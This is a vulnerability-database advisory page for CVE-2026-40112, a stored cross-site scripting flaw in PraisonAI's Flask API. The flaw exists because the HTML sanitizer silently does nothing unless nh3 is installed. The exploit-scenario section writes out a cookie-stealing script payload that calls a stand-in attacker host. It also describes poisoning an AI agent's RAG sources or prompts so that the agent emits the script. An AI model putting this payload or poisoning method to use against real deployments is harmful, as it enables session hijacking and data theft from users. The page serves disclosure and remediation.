Skip to main content

Praisonai EUVDEUVD-2026-21154

| CVE-2026-40112 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-09 GitHub_M GHSA-cfg2-mxfj-j6pw
6.1
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 score of 5.4 (Medium) reflects the vulnerability's moderate severity: it requires user interaction (UI:R) to trigger JavaScript execution and is unauthenticated (PR:N) over the network (AV:N). However, the real-world risk is elevated by multiple factors. First, the attack vector is high-probability in production: data poisoning of RAG knowledge bases and web scraping results are difficult to detect and easy to automate. Second, the dependency misconfiguration means affected installations are likely widespread-any PraisonAI deployment without explicit nh3 installation is vulnerable by default. Third, the impact (information disclosure, session hijacking, credential theft) can be severe in enterprise settings where API output is viewed by multiple authorized users. The absence of public exploit code and KEV status indicates this is not yet actively exploited at scale, but the simplicity of the attack (inject JavaScript into any agent input source) and the widespread default-vulnerable configuration suggest rapid exploitation post-disclosure is probable. This should be treated as a priority patch for organizations running PraisonAI in user-facing or sensitive environments.

Exploit ScenarioDerived

An attacker compromises or poisons a knowledge base document indexed by PraisonAI's RAG pipeline, embedding malicious JavaScript such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> into the text. When an agent processes a query and retrieves this poisoned document, the malicious script is included in the agent output. A legitimate user viewing the API response in a web browser (or a frontend application rendering the API response as HTML) has the JavaScript executed in their browser context, allowing the attacker to steal session cookies, exfiltrate sensitive information, or perform actions on behalf of the user. No public proof-of-concept code is currently available, but the attack requires only basic knowledge of HTML injection and XSS payloads.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 09, 2026

Stored cross-site scripting (XSS) in PraisonAI versions prior to 4.5.128 allows remote attackers to inject arbitrary JavaScript into agent output rendered by the Flask API endpoint. The vulnerability exists because the _sanitize_html function depends on the nh3 library, which is not declared as a required dependency in pyproject.toml; when nh3 is absent (default installation), HTML sanitization becomes a no-op. Attackers can exploit this via RAG data poisoning, malicious web scraping results, or prompt injection to execute malicious scripts in the browsers of users viewing API output. No public exploit code or active exploitation has been confirmed.

RemediationAI

Upgrade PraisonAI to version 4.5.128 or later, which fixes the sanitization bypass. As an immediate workaround prior to patching, ensure the nh3 library is explicitly installed as a dependency (pip install nh3) to restore the HTML sanitizer functionality; however, this is a partial mitigation and does not address the root cause of missing dependency declaration. Additionally, implement Content Security Policy (CSP) headers on API endpoints to restrict script execution, sanitize RAG data sources and web scraping results at ingestion time, and apply strict input validation to agent prompts. Refer to the GitHub Security Advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfg2-mxfj-j6pw for comprehensive remediation guidance.

Affected VersionsENISA

PraisonAI < 4.5.128

Affected Packages

pypi praisonai fix: 4.5.128

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI is a Python-based multi-agent orchestration framework that uses Flask to expose API endpoints for agent interaction and output display. The vulnerability resides in src/praisonai/api.py, where agent-generated responses are rendered as HTML content without proper input validation. The code attempts to sanitize HTML using the nh3 library (a Rust-backed HTML sanitizer), but because nh3 is an optional or missing dependency rather than a required one in the project's pyproject.toml configuration, the sanitization function degrades to a pass-through that does not remove or escape potentially malicious JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability where untrusted data from multiple sources (RAG retrieval, web scraping, user prompts) flows directly into HTML rendering without safe encoding or validation.

Know when Praisonai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
Oct 26, 2026 - 21:23 NVD
5.4 (MEDIUM) 6.1 (MEDIUM)
Patch released
Apr 10, 2026 - 20:30 nvd
Patch available
CVE Published
Apr 09, 2026 - 21:16 nvd
MEDIUM 5.4

DescriptionNVD

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the Flask API endpoint in src/praisonai/api.py renders agent output as HTML without effective sanitization. The _sanitize_html function relies on the nh3 library, which is not listed as a required or optional dependency in pyproject.toml. When nh3 is absent (the default installation), the sanitizer is a no-op that returns HTML unchanged. An attacker who can influence agent input (via RAG data poisoning, web scraping results, or prompt injection) can inject arbitrary JavaScript that executes in the browser of anyone viewing the API output. This vulnerability is fixed in 4.5.128.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-61447 CRITICAL POC
10.0 Jul 11

Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th

CVE-2026-57139 CRITICAL POC
9.8 Sep 15

PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans

CVE-2026-57148 CRITICAL POC
9.8 Sep 15

Unauthenticated authentication bypass in praisonai-platform prior to 0.1.6 (and PraisonAI before 4.6.51) allows a remote

CVE-2026-55536 CRITICAL POC
9.1 Aug 25

WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att

CVE-2026-61426 HIGH POC
8.8 Jul 11

Unauthenticated agent access in PraisonAI before 1.7.3 lets remote attackers read agent instructions and system prompts

CVE-2026-55541 HIGH POC
8.8 Aug 25

PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne

CVE-2026-61439 HIGH POC
8.7 Jul 11

System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection

CVE-2026-55534 HIGH POC
8.6 Aug 25

Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller

CVE-2026-55526 HIGH POC
8.5 Aug 25

SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou

CVE-2026-61429 HIGH POC
8.4 Jul 11

Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv

CVE-2026-55533 HIGH POC
8.2 Aug 25

Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec

CVE-2026-55528 HIGH POC
8.2 Aug 25

Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy